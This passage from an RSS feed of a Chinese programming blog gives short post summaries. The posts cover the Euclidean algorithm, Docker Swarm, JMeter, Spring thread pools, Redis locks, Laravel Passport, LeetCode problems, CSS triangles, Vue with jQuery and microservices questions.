      <link>https://bchobby.github.io/posts/b36588b993d920d21fb5cf7461488b0f/</link>
      <pubDate>Sat, 27 Nov 2021 19:29:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b36588b993d920d21fb5cf7461488b0f/</guid>
      <description>介绍 欧几里得算法又称辗转相除法，是指用于计算两个非负整数a，b的最大公约数。应用领域有数学和计算机两个方面。计算公式gcd(a,b) = gcd(b,a mod b)。&#xA;算法简介 欧几里得算法是用来求两个正整数最大公约数的算法。古希腊数学家欧几里得在其著作《The Elements》中最早描述了这种算法,所以被命名为欧几里得算法。&#xA;扩展欧几里得算法可用于RSA加密等领域。&#xA;假如需要求 1997 和 615 两个正整数的最大公约数,用欧几里得算法，是这样进行的：&#xA;1997 / 615 = 3 (余 152)&#xA;615 / 152 = 4(余7)&#xA;152 / 7 = 21(余5)&#xA;7 / 5 = 1 (余2)&#xA;5 / 2 = 2 (余1)&#xA;2 / 1 = 2 (余0)&#xA;至此，最大公约数为1&#xA;以除数和余数反复做除法运算，当余数为 0 时，取当前算式除数为最大公约数，所以就得出了 1997 和 615 的最大公约数 1。&#xA;代码实现 //递归实现 #include&amp;lt;stdio.h&amp;gt; int gcd(int n, int m) { if (n % m == 0) { return m; } else { return gcd(m, n % m); } } int main() { int n = 0, m = 0; scanf(&#34;</description>
    </item>
    <item>
      <title>容器云系列之Docker Swarm集群管理</title>
      <link>https://bchobby.github.io/posts/bc8a79b7366f44febbd09797f582d313/</link>
      <pubDate>Sat, 27 Nov 2021 18:26:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc8a79b7366f44febbd09797f582d313/</guid>
      <description>Docker Swarm是Docker的集群管理工具，它提供了标准的Docker API，所有任何已经与Docker守护程序通信的工具都可以使用Swarm轻松地扩展到多个主机。支持的工具包括Dokku、Docker Compose、Docker Machine和Jenkins等。&#xA;1、Swarm原理 Swarm集群由多个运行在swarm mode的docker主机组成，这些docker主机分为管理节点（manager）和工作节点（work node）。Swarm mananger节点负责整个集群的管理工作包括集群配置、服务管理等；Work node节点主要负责运行相应的服务来执行任务（task）。&#xA;Swarm集群和standalone部署的docker有以下优点：1）在线修改Service的配置，包括networks和volumes，不需要重启docker服务；2）Swarm集群时候，可以将其它standalone模式的docker主机加入到Swarm集群。&#xA;Swarm中有几个基本概念，包括nodes、Service和tasks以及load balancing：&#xA;Node Node是加入到Swarm集群中的Docker实例，也可以认为是一个docker节点，包括管理节点和工作节点。在部署应用到Swarm集群的时候，会向管理节点提交service定义，管理节点会将这些这些work也就是tasks分发到work节点中。Work节点接收并执行管理节点分配的任务，work节点也会将当前tasks的状态通知到管理节点以维护节点的状态信息。&#xA;Service and tasks Service是manage和work节点上执行的task的定义，当创建service的时候可以指定使用哪个container image以及执行的命令。在replicated service模式下，swarm管理节点会根据desired state中设置的scale分发replica tasks；对于global service模式，swarm集群会向每个可用的节点运行tasks。&#xA;Load balancing Swarm集群使用ingress loading balancing提供集群服务，Swarm集群会自动为service分配PublishedPort，默认使用30000-32767范围。&#xA;1.1 Node节点 Swarm中node节点包括manage管理节点和work工作节点。&#xA;Manager node Manager使用raft算法维护整个集群和运行的service的internal状态，主要完成以下tasks：&#xA;维护cluster statescheduling服务service swarm mode集群服务 Docker建议使用基数manager节点以保证可用性，最大使用7个manager节点。&#xA;Work node Work节点是容器实际运行的实例，在Swarm集群中必须存在manager节点。默认情况下manager节点也是work节点，但在多节点的Swarm集群中为了避免调度任务运行在manager节点，可以将manager节点设置为Drain模式，这样调度不会将任务分配到Drain模式，只会在Active模式的节点上分配任务。&#xA;Role变化 通过运行命令docker node promote可以将worker节点变为manager节点，同样也可以将manager节点转换为worker节点。&#xA;1.2 Service 当Service部署到Swarm集群的时候，swarm管理节点会将service定义作为service的理想状态，然后会将service调度到集群的节点上，以一个或多个tasks执行，这些nodes上运行的tasks之间是相互独立的。&#xA;如图所示，在三个HTTP listener实例中实现负载均衡，service中有三个replica tasks，每个实例是Swarm集群中的一个task。Task是Swarm集群中调度的最小单元，当创建或更新service时候给定了desired state，集群会调度tasks来实现这种理想状态。Task是一种单向机制，在它的整个周期过程中会完成一系列的状态，如assigned、prepared和running等。如果tasks失败了，集群会remove这个tasks并创建新的tasks来替代。&#xA;上图展示了Swarm集群中service创建请求并将tasks调度到worker节点的过程：&#xA;Client发送创建service请求&#xA;Swarm manager节点&#xA;a) API：接收到命令并创建service&#xA;b) Orchestrator：协调者为service循环创建tasks&#xA;c) Allocater：为tasks分配ip地址&#xA;d) Dispatcher：将tasks分配到node&#xA;e) Scheduler：引导worker节点运行tasks</description>
    </item>
    <item>
      <title>Jmeter学习笔记之聚合报告</title>
      <link>https://bchobby.github.io/posts/91241f824ffd4f0188a0ea30ab8577fa/</link>
      <pubDate>Sat, 27 Nov 2021 18:11:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91241f824ffd4f0188a0ea30ab8577fa/</guid>
      <description>1、聚合报告的添加不做赘述，右键添加即可。&#xA;2、聚合报告中各参数的分析。&#xA;lable：线程组的名称Samples（样本）：一共发出去多少个请求Average（平均值）：平均响应时间（ms）Medium（中位数）：中位数响应时间，50%请求响应的时间（ms）90%line：90%的请求响应不会超过该时间（ms）95%line：95%的请求响应不会超过该时间（ms）99%line：99%的请求响应不会超过该时间（ms）Min（最小值）：最小响应时间（ms）Max（最大值）：最大响应时间（ms）Error%（异常率）：错误的请求数量Throughput（吞吐量）：默认情况下表示每秒完成的请求数Received KB/sec：每秒接收数据量Sent KB/sec：每秒发送数据量 3、Medium、90%line、95%line、99%line，这几个参数涉及到的是数学中的百分位数，从中位数可以看出，它表示的不仅仅是简单随机的50%个请求，是将这些请求的响应时间按大小顺序排列后，50%line处的响应时间，相同的其他line也是这样理解。&#xA;4、聚合报告中有average和medium，他们的计算方法不同；&#xA;平均数更容易受所有线程响应时间值的影响，和每一个数据都有关，一定会随之变化而变化，信息充分从而也能更好的反应出整个线程组的响应时间情况；&#xA;中位数不易受线程组中其他线程响应时间值的影响，所以当线程组中的有比较极端的值出现时，偏大或者偏小，用中位数来表示整体数据的集中趋势就比较合适；&#xA;5、Throughput（吞吐量）&#xA;在jmeter中，大多数情况下，Throughput吞吐率被认为等于TPS，这里提供一个参考：Jmeter的Throughput和平均响应时间计算方法整理 - 雾火 - 博客园</description>
    </item>
    <item>
      <title>线程池ThreadPoolTaskExecutor实战</title>
      <link>https://bchobby.github.io/posts/3edb5cde599285467ee63b01fbdf8495/</link>
      <pubDate>Sat, 27 Nov 2021 17:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3edb5cde599285467ee63b01fbdf8495/</guid>
      <description>文章目录 1. ThreadPoolTaskExecutor是什么2. 为什么使用ThreadPoolTaskExecutor2.1直接使用ThreadPoolExecutor2.2 使用ThreadPoolTaskExecutor 3. 如何使用ThreadPoolTaskExecutor3.1 配置3.2 业务中使用3.3 TaskDecorator 1. ThreadPoolTaskExecutor是什么 ThreadPoolTaskExecutor是Spring基于java本身的线程池ThreadPoolExecutor做的二次封装，主要目的还是为了更加方便的在spring框架体系中使用线程池。&#xA;2. 为什么使用ThreadPoolTaskExecutor 一句话：可以让使用线程池的编码更方便更优雅。&#xA;使用线程池时，主要有两种方式：ThreadPoolExecutor和ThreadPoolTaskExecutor；&#xA;2.1直接使用ThreadPoolExecutor 原始的使用线程池，要么直接new ThreadPoolExecutor，要么使用jdk中的Executors工具类，此工具类提供了一些常用的api来创建线程池。&#xA;但是，都需要在业务代码中显式的编程，代码不够简洁。&#xA;2.2 使用ThreadPoolTaskExecutor 目前大家都在使用spring全家桶编写服务代码。也都习惯了使用注解式编程方式。ThreadPoolTaskExecutor本身相当于一个普通的bean，他只是基于ThreadPoolExecutor做了一定的封装，线程池的核心逻辑还是ThreadPoolExecutor来实现的，一些线程池的基本配置参数，也和原始的ThreadPoolExecutor的保持一致。&#xA;下面来直接通过使用demo来直观的感受下。&#xA;3. 如何使用ThreadPoolTaskExecutor ThreadPoolTaskExecutor在spring体系中，就是一个普通的bean，所以支持bean的各种配置方式，本文demo中，就直接介绍最常用的java配置类方式。&#xA;3.1 配置 直接写一个配置类即可：&#xA;@EnableAsync @Configuration public class TaskConfiguration { @Bean(&#34;taskExecutor&#34;) public Executor schedulingTaskExecutor() { return initExecutor(4, 4, 1, new ThreadPoolExecutor.AbortPolicy(), &#34;taskExecutor-&#34;); } private Executor initExecutor(int corePoolSize, int maxPoolSize, int queueCapacity, RejectedExecutionHandler rejectedExecutionHandler, String threadNamePrefix) { ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); executor.setCorePoolSize(corePoolSize); executor.</description>
    </item>
    <item>
      <title>Jmeter学习笔记之响应断言</title>
      <link>https://bchobby.github.io/posts/509fe3fbcefbf69e06211729bf14e08d/</link>
      <pubDate>Sat, 27 Nov 2021 17:38:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/509fe3fbcefbf69e06211729bf14e08d/</guid>
      <description>1、简述&#xA;jmeter中的响应断言即判断接口请求的返回值是否包含（或等于、不等于）测试人员所预期的数据；响应断言作为一个测试过程中的检查点，不仅可以判断请求是否发送成功，还可以针对具体的返回值判断请求成功与失败，在测试过程中可以有针对性的进行添加。&#xA;2、添加响应断言&#xA;选择想要添加断言的线程组--添加--断言--响应断言。&#xA;3、响应断言内容&#xA;应用范围：Main sample only仅当前主线程组使用（比较常见），Main sample and sub-samples当前主线程组和与之相关联的线程组使用。测试字段：【响应文本】即响应的数据，比如json等文本（常用），【响应代码】即http响应状态码，比如200,404等（常用），【响应信息】即http响应状态码对应的响应信息，比如OK,Found等。模式匹配规则：【包括】即测试字段包含于请求结果中；【匹配】即测试字段完全匹配请求结果，不区分大小写；【相等】即测试字段完全匹配请求结果，区分大小写。测试模式：想要匹配的请求结果，http响应状态码或者响应文本等信息。自定义失败信息：请求结果汇总没有想要的结果信息时，及失败时提示的信息，添加响应断言结果后可展示。 4、断言结果&#xA;每个线程组可添加单独的多个响应断言和结果树，也可以在最外层添加结果树，统一查看信息。线程组--添加--监听器--断言结果，在断言结果页面可查看请求后的响应结果，添加的断言是否响应；也可在察看结果树页面双击请求，查看断言情况，下面是一个响应断言失败的小例子。&#xA;发送线程组请求后，如果失败则会：</description>
    </item>
    <item>
      <title>C&#43;&#43; 最大子序和</title>
      <link>https://bchobby.github.io/posts/64d8d7bcba7386082d11d6416644bf8d/</link>
      <pubDate>Sat, 27 Nov 2021 13:50:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64d8d7bcba7386082d11d6416644bf8d/</guid>
      <description>题目： 给定一个整数数组 nums ，找到一个具有最大和的连续子数组（子数组最少包含一个元素），返回其最大和。&#xA;示例 1：&#xA;输入：nums = [-2,1,-3,4,-1,2,1,-5,4] 输出：6 解释：连续子数组 [4,-1,2,1] 的和最大，为 6 。 示例 2：&#xA;输入：nums = [1] 输出：1 示例 3：&#xA;输入：nums = [0] 输出：0 这道题确实没想明白。后来看的解析才知道的，先说说自己的思路，想到的是用for循环做，从第一个数字加到数组的最后一个数字，并用临时变量记录最长的那个和对应的末位数所在位置。然后从最后一个数字加到第一个数字。用临时变量记录最大和对应的开头数字所在位置。&#xA;代码测试了两次增加了很多判定但是最后还是错掉了，思路上有点偏差，代码如下：&#xA;int maxSubArray(vector&amp;lt;int&amp;gt;&amp;amp; nums) { int a=0,b; int i,j,k; int length = nums.size(); b=length-1; //int len=length-1; int temp1=0,temp2=0; int sum=0,sum1,sum2; sum1=nums[0]; sum2=nums[length-1]; //sum2=0; //cout&amp;lt;&amp;lt;sum1&amp;lt;&amp;lt;sum2&amp;lt;&amp;lt;endl; if(length==1) { sum=nums[0]; return sum; } else if(length&amp;gt;1) for(i=0;i&amp;lt;length;i++) { temp1=temp1+nums[i]; if(temp1&amp;gt;sum1) { sum1=temp1; a=i; } } for(j=length-1;j&amp;gt;=0;j--) { temp2 += nums[j]; if(temp2&amp;gt;sum2) { sum2=temp2; b=j; } } if(a&amp;lt;b) sum=max(sum1,sum2); for(k=b;k&amp;lt;=a;k++) { sum+=nums[k]; } cout&amp;lt;&amp;lt;a&amp;lt;&amp;lt;b&amp;lt;&amp;lt;endl; return sum; } 正确解答方式： #include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; class Solution { public: int maxSubArray(vector&amp;lt;int&amp;gt;&amp;amp; nums) { int pre = 0, maxAns = nums[0]; for (const auto&amp;amp; x : nums) { pre = max(pre + x, x); maxAns = max(maxAns, pre); } return maxAns; } }; int main() { Solution S; vector&amp;lt;int&amp;gt; num= { -2, 1, -3, 4, -1, 2, 1, -5, 4 } ; int temp = S.</description>
    </item>
    <item>
      <title>redis分布式锁实践 并实现看门狗锁续期机制</title>
      <link>https://bchobby.github.io/posts/98342054f2c100457a78762ae9143c88/</link>
      <pubDate>Sat, 27 Nov 2021 13:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98342054f2c100457a78762ae9143c88/</guid>
      <description>redis分布式锁最佳实践（并实现锁续期机制） 文章目录 redis分布式锁最佳实践（并实现锁续期机制）1. 分布式锁是什么？2. setnx 和 AQS state3. jedis完成分布式锁得设计#3.1 v1版本3.2 v2版本3.3 v3版本 4. 测试 1. 分布式锁是什么？ 在单体项目进入分布式项目之后，各个业务被拆分成多个微型服务，核心微服务还可以搭建集群，那么搭建集群之后问题就来了，以前是单体项目，如果涉及共享资源得一些操作我们可以使用ReentrantLock来进行加锁，那么如今微服务集群项目下，做不到了，那么我么其实就可以使用一些中间件，基于中间件得原子性操作来实现分布式锁，今天我们就来使用redis搭建分布式锁实践。&#xA;2. setnx 和 AQS state 在redis中有setnx命令 ，该命令使用逻辑如下：&#xA;可以看到我们使用setnx添加一个key-value得值，第一次增加之后，第二次再去增加发现返回值变成了0。意味着setnx命令就如同Java中unsfae类得CAS操作一样。&#xA;这里简单说一下AQS得机制，AQS是Java同步器得基石，如我们常用得ReentranLock和ReadWriteReetranLock还有seameple信号量等都是基于AQS来实现，在AQS有一个state得状态值，当state状态值为0时表示没有人获取该锁，=1 表示有线程获取了该锁，其他线程lock时会进入阻塞队列中等待。&#xA;而redis中得setnx和javaAQS得state就有异曲同工之处，我们就可以借助setnx来实现分布式锁，当然这一前提是建立在redis得业务处理是单线程模式执行。&#xA;3. jedis完成分布式锁得设计 #3.1 v1版本 package com.xzq.lock; /** - @Author xzq - @Description // 分布式锁实践 - @Date 2021/11/27 9:45 - @Version 1.0.0 **/ public class RedisLock { private Logger logger = LoggerFactory.getLogger(RedisLock.class); private Jedis jedis = JedisPoolManager.getJedis(); static class JedisPoolManager{ private static JedisPool jedisPool; static { JedisPoolConfig config = new JedisPoolConfig(); config.</description>
    </item>
    <item>
      <title>laravel8实现用passport实现接口的登录和jwt生成(生成token)</title>
      <link>https://bchobby.github.io/posts/73b95d7d4db2bc5a2b2a634c0b49934f/</link>
      <pubDate>Sat, 27 Nov 2021 12:16:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73b95d7d4db2bc5a2b2a634c0b49934f/</guid>
      <description>1.安装passport插件&#xA;composer require laravel/passport 2.执迁迁移文件，生成数据表，保存token数据 （会直接生成5张表）&#xA;php artisan migrate 3.生成客户端授权码,必须的操作，没有会报错找不到配置文件&#xA;php artisan passport:install 4.修改接口账号模型&#xA;use Laravel\Passport\HasApiTokens; 5.修改config/auth.php文件中的api配置&#xA;6.令牌的有效期，在app/Proivders/AuthServiceProvide.php文件中的boot方法添加有效期&#xA;use Laravel\Passport\Passport; // token认证有效期2小时 Passport::tokensExpireIn(now()‐&amp;gt;addHour(2)); // 刷新token认证有效期30天 Passport::refreshTokensExpireIn(now()‐&amp;gt;addDays(30)); 7.解决auth在接口中登录没有attempt问题&#xA;8.验证账号&#xA;public function login(Request $request) { $validator=\Validator::make($request-&amp;gt;all(),[ &#39;username&#39;=&amp;gt;&#39;required&#39;, &#39;password&#39;=&amp;gt;&#39;required&#39;, ]); if ($validator-&amp;gt;fails()){ return [&#39;code&#39;=&amp;gt;500,&#39;msg&#39;=&amp;gt;$validator-&amp;gt;errors()-&amp;gt;first()]; } //dd(get_class_methods(auth())); //应为基于auth登录，所匹配的字段不能出现中文 $bool=auth()-&amp;gt;guard(&#39;apiss&#39;)-&amp;gt;attempt($request-&amp;gt;all()); if ($bool){ $user=auth()-&amp;gt;guard(&#39;apiss&#39;)-&amp;gt;user(); //在这里生成token $token=$user-&amp;gt;createToken(&#39;api&#39;)-&amp;gt;accessToken; $data=[&#39;token&#39;=&amp;gt;$token,&#39;expire&#39;=&amp;gt;7200]; return [&#39;code&#39;=&amp;gt;200,&#39;msg&#39;=&amp;gt;&#39;登录成功&#39;,&#39;data&#39;=&amp;gt;$data]; } return [&#39;code&#39;=&amp;gt;500,&#39;msg&#39;=&amp;gt;&#39;账号密码错误&#39;]; } 9.在hearder中加入token key=Authorization&#xA;value=Bearer xxx此处为tokenxxxxxxxxx 千万记得Bearer 后面是有一个空格的 千万记得Bearer 后面是有一个空格的 千万记得Bearer 后面是有一个空格的&#xA;10.测试中间件拦截功能</description>
    </item>
    <item>
      <title>491.递增子序列【回溯】</title>
      <link>https://bchobby.github.io/posts/e5f418af0d4afc0e309f4ac2b12e30c8/</link>
      <pubDate>Sat, 27 Nov 2021 11:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5f418af0d4afc0e309f4ac2b12e30c8/</guid>
      <description>491.递增子序列&#xA;题目链接：https://leetcode-cn.com/problems/increasing-subsequences/&#xA;给定一个整型数组, 你的任务是找到所有该数组的递增子序列，递增子序列的长度至少是2。&#xA;示例:&#xA;输入: [4, 6, 7, 7]&#xA;输出: [[4, 6], [4, 7], [4, 6, 7], [4, 6, 7, 7], [6, 7], [6, 7, 7], [7,7], [4,7,7]]&#xA;说明:&#xA;* 给定数组的长度不会超过15。&#xA;* 数组中的整数范围是 [-100,100]。&#xA;* 给定数组中可能包含重复数字，相等的数字应该被视为递增的一种情况。&#xA;思路：&#xA;这个递增子序列比较像是取有序的子集。而且本题也要求不能有相同的递增子序列。&#xA;这又是子集，又是去重，是不是不由自主的想起了刚刚的90.子集II【回溯】。&#xA;就是因为太像了，更要注意差别所在，要不就掉坑里了！&#xA;在90.子集II【回溯】中我们是通过排序，再加一个标记数组来达到去重的目的。&#xA;而本题求自增子序列，是不能对原数组经行排序的，排完序的数组都是自增子序列了。&#xA;**所以不能使用之前的去重逻辑！**&#xA;本题给出的示例，还是一个有序数组 [4, 6, 7, 7]，这更容易误导大家按照排序的思路去做了。&#xA;为了有鲜明的对比，我用[4, 7, 6, 7]这个数组来举例，抽象为树形结构如图：&#xA;回溯三部曲：&#xA;* 递归函数参数&#xA;本题求子序列，很明显一个元素不能重复使用，所以需要startIndex，调整下一层递归的起始位置。&#xA;代码如下：&#xA;```&#xA;List&amp;lt;List&amp;lt;Integer&amp;gt;&amp;gt; res = new ArrayList&amp;lt;&amp;gt;();&#xA;List&amp;lt;Integer&amp;gt; path = new ArrayList();</description>
    </item>
    <item>
      <title>css实现三角形的6种方法</title>
      <link>https://bchobby.github.io/posts/fab9d9922c25ef4d2933832b65c6b0b6/</link>
      <pubDate>Fri, 26 Nov 2021 21:09:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fab9d9922c25ef4d2933832b65c6b0b6/</guid>
      <description>在一些面试经验中，经常能看到有关css的题目都会有一道如何使用css绘制三角形，而常见的回答通常也只有使用border进行绘制一种方法。&#xA;而css发展到今天，其实有很多有意思的仅仅使用css就能绘制出来的三角形的方式，本文将展示6中使用css绘制三角形的方式，而且它们都很好掌握。&#xA;当然本文是抛砖引玉，css日新月异，可能还有一些有意思的方法本文遗漏了，欢迎大家在留言区补充。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;实现三角形的6种方法&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; #border { border-top: 50px solid greenyellow; border-bottom: 50px solid deeppink; border-left: 50px solid bisque; border-right: 50px solid chocolate; height: 0; width: 0; } #lg { width: 100px; height: 100px; background: linear-gradient(45deg, deeppink, deeppink 50%, yellow 50%, yellow 100%); } #cg { width: 100px; height: 100px; background: conic-gradient(from 90deg at 50% 0, deeppink 0, deeppink 45deg, transparent 45.1deg); } #triangle { width: 150px; height: 100px; position: relative; overflow: hidden; } #triangle:before { content: &#39;&#39;; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: deeppink; transform-origin: right top; transform: rotate(45deg); } #clip { width: 100px; height: 100px; background: deeppink; clip-path: polygon(0 0, 100% 0, 0 100%, 0 0); } .</description>
    </item>
    <item>
      <title>EasyExcel填充模板及图片</title>
      <link>https://bchobby.github.io/posts/cd66e2ee4fd590a684f94f848fff00c8/</link>
      <pubDate>Fri, 26 Nov 2021 18:21:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd66e2ee4fd590a684f94f848fff00c8/</guid>
      <description>官方文档：https://www.yuque.com/easyexcel/doc/fill&#xA;其实参考官网文档已经可以正常使用了，这里主要是记录如何在模板中填充图片&#xA;请求参数 注意：sheetNo 能帮助我们定位数据是哪个sheet&#xA;{ &#34;fileId&#34;: 804, &#34;data&#34;: [ { &#34;sheetNo&#34;: 0, &#34;content&#34;: &#34;简单说明&#34;, &#34;test_image&#34;: 907, &#34;test2_image&#34;: 908 }, { &#34;sheetNo&#34;: 1, &#34;name&#34;: &#34;名称&#34; } ] } 解析页面表单 /** * 解析页面表单，根据Map填充 * * @param map * @return */ @Override public AjaxResult parse(Map&amp;lt;String, Object&amp;gt; map) { // 1. 获取前端的传值 -&amp;gt; cn.hutool.json Map&amp;lt;String, Object&amp;gt; jsonMap = JSONUtil.parseObj(map); // 1.1 获得 fileId 数据 // 这里理论上直接传 fileId 即可，即可找到模板对应的文件 Integer fileId = (Integer) jsonMap.</description>
    </item>
    <item>
      <title>无法将“node.exe”项识别为 cmdlet、函数、脚本文件或可运行程序的名称</title>
      <link>https://bchobby.github.io/posts/0a139960ec8bc1dfca6fbf9d8e30b15c/</link>
      <pubDate>Fri, 26 Nov 2021 16:24:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a139960ec8bc1dfca6fbf9d8e30b15c/</guid>
      <description>windows10 报错信息：&#xA;&amp;amp; : 无法将“node.exe”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正确，然后再试一次。 所在位置 C:\Users\Mr.Sun\AppData\Roaming\npm\npm.ps1:24 字符: 7 + &amp;amp; &#34;node$exe&#34; &#34;$basedir/node_modules/npm/bin/npm-cli.js&#34; $args + ~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (node.exe:String) [], CommandNotFoundException 解决方法：&#xA;1 去C盘查看用户下npm里是否有node.exe文件 ，大概路径&#xA;C:\Users\xxxx(your win name)\AppData\Roaming\npm 2 如果少了node.exe，找到node安装路径目录，复制node.exe文件到上面文件路径下，重启即可</description>
    </item>
    <item>
      <title>CEC2021基础测试函数</title>
      <link>https://bchobby.github.io/posts/03d8db7f092654b0769ef1769b016141/</link>
      <pubDate>Fri, 26 Nov 2021 14:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03d8db7f092654b0769ef1769b016141/</guid>
      <description>用于群智能优化算法性能测试的测试函数：CEC2021基础测试函数 下载地址：&#xA;https://download.csdn.net/download/Vertira/46236811https://download.csdn.net/download/Vertira/46236811</description>
    </item>
    <item>
      <title>如何在Vue3.0中引入jQuery并使用</title>
      <link>https://bchobby.github.io/posts/880832389a9a680bbafe8ce87aba5051/</link>
      <pubDate>Fri, 26 Nov 2021 12:12:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/880832389a9a680bbafe8ce87aba5051/</guid>
      <description>1、安装jQuery&#xA;需要在项目根目录下使用 npm 命令：&#xA;npm install jquery --save 2、vue.config.js文件&#xA;在项目根目录下创建一个 vue.config.js 文件（如果已经存在无需创建），进行如下配置：&#xA;const webpack = require(&#39;webpack&#39;) module.exports = { configureWebpack: { plugins: [ new webpack.ProvidePlugin({ $: &#39;jquery&#39;, jQuery: &#39;jquery&#39;, &#39;windows.jQuery&#39;: &#39;jquery&#39; }) ] } } 3、.eslintrc.js文件&#xA;在项目目录中找到 .eslintrc.js 文件，在 env 中配置 jquery：true&#xA;4、最后在 main.js 文件中导入 jQuery&#xA;至此完成 jQuery 的引入和配置，可以全局使用。&#xA;使用例子&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;home&#34;&amp;gt; &amp;lt;div class=&#34;d&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;Home&#39;, date() { return {} }, mounted() { this.</description>
    </item>
    <item>
      <title>微服务常见问题整理（2021）</title>
      <link>https://bchobby.github.io/posts/899d2a5645785081c6a75675e0652cd3/</link>
      <pubDate>Thu, 25 Nov 2021 21:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/899d2a5645785081c6a75675e0652cd3/</guid>
      <description>微服务常见问题 什么是微服务 （把传统服务拆分至最小服务单元，每个服务专注一件事，服务之间高内聚，松耦合）&#xA;技术维度理解 微服务化的核心就是将传统的一站式应用，根据业务拆分成一个一个的服务，彻底地去耦合,每一个微服务提供单个业务功能的服务，一个服务做一件事，从技术角度看就是一种小而独立的处理过程，类似进程概念，能够自行单独启动或销毁，拥有自己独立的数据库。&#xA;微服务是如何通讯的 1、远程调用基于HTTP的RESTful API2、 消息 ，通过消息中间件来做服务通信，比如rabitmq springcloud 与dubbo有哪些区别？ 相同点：SpringCloud 和Dubbo可以实现RPC远程调用框架，可以实现服务治理。不同点：SpringCloud是一套目前比较网站微服务框架了，整合了分布式常用解决方案遇到了问题注册中心Eureka、负载均衡器Ribbon ，客户端调用工具Rest和Feign，分布式配置中心Config，服务保护Hystrix，网关Zuul Gateway ，服务链路Zipkin，消息总线Bus等。 优点: 把客户端和服务端解耦，更松耦合 提高可用性，因为消息中间件缓存了消息，直到消费者可以消费，支持很多通信机制比如通知、请求/异步响应、发布/订阅、发布/异步响应&#xA;缺点：消息中间件有额外的复杂性&#xA;dubbo内部实现功能没有SpringCloud强大（全家桶），只是实现服务治理，缺少分布式配置中心、网关、链路、总线等，如果需要用到这些组件，需要整合其他框架。&#xA;请谈谈对SpringBoot 和SpringCloud的理解 SpringBoot专注于快速、方便的开发单个微服务个体，SpringCloud关注全局的服务治理框架。&#xA;SpringCloud是关注全局的微服务协调整理治理框架，它将SpringBoot开发的一个个单体微服务整合并管理起来，为各个微服务之间提供，配置管理、服务发现、断路器、路由、微代理、事件总线、全局锁、决策竞选、分布式会话等等集成服务&#xA;SpringBoot可以离开SpringCloud独立使用开发项目，但是SpringCloud离不开SpringBoot，属于依赖的关系.&#xA;分布式系统面临的问题 复杂分布式体系结构中的应用程序有数十个依赖关系，每个依赖关系在某些时候将不可避免地失败。服务雪崩：多个微服务之间调用的时候，假设微服务A调用微服务B和微服务C，微服务B和微服务C又调用其它的微服务，这就是所谓的“扇出”。如果扇出的链路上某个微服务的调用响应时间过长或者不可用，对微服务A的调用就会占用越来越多的系统资源，进而引起系统崩溃，所谓的“雪崩效应”. 一般情况对于服务依赖的保护主要有以下三种解决方案： 1、熔断模式：这种模式主要是参考电路熔断，如果一条线路电压过高，保险丝会熔断，防止火灾。放到我们的系统中，如果某个目标服务调用慢或者有大量超时，此时，熔断该服务的调用，对于后续调用请求，不在继续调用目标服务，直接返回，快速释放资源。如果目标服务情况好转则恢复调用。隔离模式：这种模式就像对系统请求按类型划分成一个个小岛的一样，当某个小岛被火少光了，不会影响到其他的小岛。例如可以对不同类型的请求使用线程池来资源隔离，每种类型的请求互不影响，如果一种类型的请求线程资源耗尽，则对后续的该类型请求直接返回，不再调用后续资源。这种模式使用场景非常多，例如将一个服务拆开，对于重要的服务使用单独服务器来部署，再或者公司最近推广的多中心。限流模式：上述的熔断模式和隔离模式都属于出错后的容错处理机制，而限流模式则可以称为预防模式。限流模式主要是提前对各个类型的请求设置最高的QPS阈值，若高于设置的阈值则对该请求直接返回，不再调用后续资源。这种模式不能解决服务依赖的问题，只能解决系统整体资源分配问题，因为没有被限流的请求依然有可能造成雪崩效应。 什么事服务熔断，什么是服务降级 服务熔断：熔断机制是应对雪崩效应的一种微服务链路保护机制。当扇出链路的某个微服务不可用或者响应时间太长时，会进行服务的降级，进而熔断该节点微服务的调用，快速返回”错误”的响应信息。当检测到该节点微服务调用响应正常后恢复调用链路。 在SpringCloud框架里熔断机制通过Hystrix实现。Hystrix会监控微服务间调用的状况，当失败的调用到一定阈值，缺省是5秒内20次调用失败就会启动熔断机制。熔断机制的注解是@HystrixCommand。&#xA;Hystrix服务降级：其实就是线程池中单个线程障处理，防止单个线程请求时间太长，导致资源长期被占有而得不到释放，从而导致线程池被快速占用完，导致服务崩溃。 整体资源快不够用了，忍痛将某些服务先关掉，待度过难关，再回来开启。&#xA;所谓降级，就是一般是从整体符合考虑，就是当某个服务熔断之后，服务器将不再被调用，此刻客户端可以自己准备一个本地的fallback回调，返回一个缺省值，这样做，虽然服务水平下降，但好歹可用，比直接挂掉要强。&#xA;请求超时降级，线程资源不足降级，降级之后可以返回自定义数据&#xA;微服务的优缺点，项目中遇到的坑 优点 每个服务专注一件事，更小 更内聚，开发简单，效率高每个服务可以使用不同语言开发每个服务独立，服务建松耦合易于第三方集成 缺点 维护成本增加，系统复杂性增加分布式一致性问题数据一致性问题服务通信成本增加服务依赖性能监控 什么是 Eureka服务注册与发现 